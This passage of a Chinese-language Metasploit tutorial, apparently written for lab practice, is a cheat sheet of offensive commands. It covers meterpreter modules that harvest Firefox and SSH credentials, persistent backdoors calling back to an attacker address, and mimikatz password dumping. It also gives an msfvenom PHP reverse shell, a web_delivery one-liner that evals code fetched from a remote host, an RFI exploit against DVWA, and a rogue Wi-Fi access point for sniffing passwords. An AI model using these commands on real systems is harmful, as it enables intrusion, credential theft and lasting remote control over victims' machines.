  • run post/windows/gather/enum_snmp 

#删除指定帐号

  • run post/windows/manage/delete_user USERNAME=yuanfh

#检查本机可利用的提权漏洞模块

  • run post/multi/recon/local_exploit_suggester  
meterpreter > run post/multi/recon/local_exploit_suggester  

[*] 192.168.56.101 - Collecting local exploits for x86/windows...
[*] 192.168.56.101 - 31 exploit checks are being tried...
[+] 192.168.56.101 - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated.
[+] 192.168.56.101 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.56.101 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 192.168.56.101 - exploit/windows/local/ms_ndproxy: The target appears to be vulnerable.
[+] 192.168.56.101 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.

 

#查看目标环境信息

  • run post/multi/gather/env 
meterpreter > run post/multi/gather/env

APPDATA=C:\Documents and Settings\vv\Application Data
CLIENTNAME=Console
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\vv
LOGONSERVER=\\VV-59439F0BD59B
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 60 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=3c03
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
SESSIONNAME=Console
TEMP=C:\DOCUME~1\vv\LOCALS~1\Temp
TMP=C:\DOCUME~1\vv\LOCALS~1\Temp
windir=C:\WINDOWS

 #查看Firefox中存储的帐号密码

  • run post/multi/gather/firefox_creds 

#查看ssh帐号密码的密文信息，证书信息

  • run post/multi/gather/ssh_creds  

#检查目标主机上的指定程序是不是恶意原件

  • run post/multi/gather/check_malware REMOTEFILE=c:\a.exe  
  • run hostsedit -e 1.1.1.1,www.baidu.com
  • migrate -N explorer.exe
  • run [tab] [tab]

  • run winenum

  • 自动执行 metepreter 脚本（创建meterpreter后自动执行，InitialAutoRunScript 先于 AutoRunScript hostsedit 执行）

    • set AutoRunScript hostsedit -e 1.1.1.1,www.baidu.com
    • set InitialAutoRunScript checkvm

  • 自动执行 post 模块

    • set InitialAutoRunScript migrate -n explorer.exe
    • set AutoRunScript post/windows/gather/dumplinks   #dump最近文档

15 .持久后门

  • 利用漏洞取得的 metepreter 运行内存中，重启失效
  • 重复 exploit 漏洞可能形成服务崩溃

  • 持久后门保证漏洞修复后仍可远程控制

  • metepreter 后门

    • run metsvc -A # 删除 -r
    • use exploit/multi/handler
    • set PAYLOAD windows/metsvc_bind_tcp
    • set LPORT 31337
    • set RHOST 1.1.1.1

  • 持久后门

    • run persistence -h
    • run persistence -X -i 10 -p 4444 -r 10.0.0.128
    • run persistence -U -i 20 -p 4444 -r 10.0.0.128
    • run persistence -S -i 20 -p 4444 -r 10.0.0.128

16. msf 延伸用法之 mimikatz

  • hashdump 使用的就是 mimikatz 的部分功能
    • getsystem
    • load mimikatz
    • wdigest ��kerberos ��msv ��ssp ��tspkg ��livessp
    • mimikatz_command -h
    • mimikatz_command -f a::
    • mimikatz_command -f samdump::hashes
    • mimikatz_command -f handle::list
    • mimikatz_command -f service::list
    • mimikatz_command -f crypto::listProviders
    • mimikatz_command -f winmine::infos # 扫雷游戏

17. 代码执行漏洞

  • PHP shell

    • msfvenom -p php/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -f raw -o a.php
    • msf 启动侦听
    • 上传到web站点并经过浏览器访问

  • web Delivery

    • 利用代码执行漏洞访问攻击者服务器
    • use exploit/multi/script/web_delivery
    • set target 1
    • run
    • php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://1.1.1.1/fTYWqmu‘));”

18. RFI 远程文件包含

  • vi /etc/php5/cgi/php.ini
    • allow_url_fopen = On
    • allow_url_include = On
  • use exploit/unix/webapp/php_include
  • set RHOST 1.1.1.2
  • set PATH /dvwa/vulnerabilities/fi/
  • set PHPURI /?page=XXpathXX
  • set HEADERS “Cookie:security=low;PHPSESSID=eefcf023ba61219d4745ad7487fe81d7”
  • set payload php/meterpreter/reverse_tcp
  • set lhost 1.1.1.1
  • exploit

19. Karmetasploit

  • 伪造 AP、嗅探密码、接货数据、浏览器攻击

  • 多漏洞资源文件：wget https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc_.txt

  • 安装其余依赖包

    • gem install activerecord sqlite3-ruby

  • 基础架构安装配置

    • apt-get install isc-dhcp-server
    • cat /etc/dhcp/dhcpd.conf
      option domain-name-servers 10.0.0.1; default-lease-time 60;
      max-lease-time 72;
      ddns-update-style none;
      authoritative;
      log-facility local7;
      subnet 10.0.0.0 netmask 255.255.255.0 {
      range 10.0.0.100 10.0.0.254;
      option routers 10.0.0.1;
      option domain-name-servers 10.0.0.1;
      }

  • 伪造 AP

    • airmon-ng start wlan0
    • airbase-ng -P -C 30 -e “FREE” -v wlan0mon
    • ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
    • touch /var/lib/dhcp/dhcpd.leases
    • dhcpd -cf /etc/dhcp/dhcpd.conf at0

  • 启动 Karmetasploit

    • msfconsole -q -r karma.rc_.txt

  • 容许用户正常上网

  • 启动 Karmetasploit

    • msfconsole -q -r karma.rc_.txt

  • 增长路由和防火墙规则

    • echo 1 > /proc/sys/net/ipv4/ip_forward
    • iptables -P FORWARD ACCEPT
    • iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
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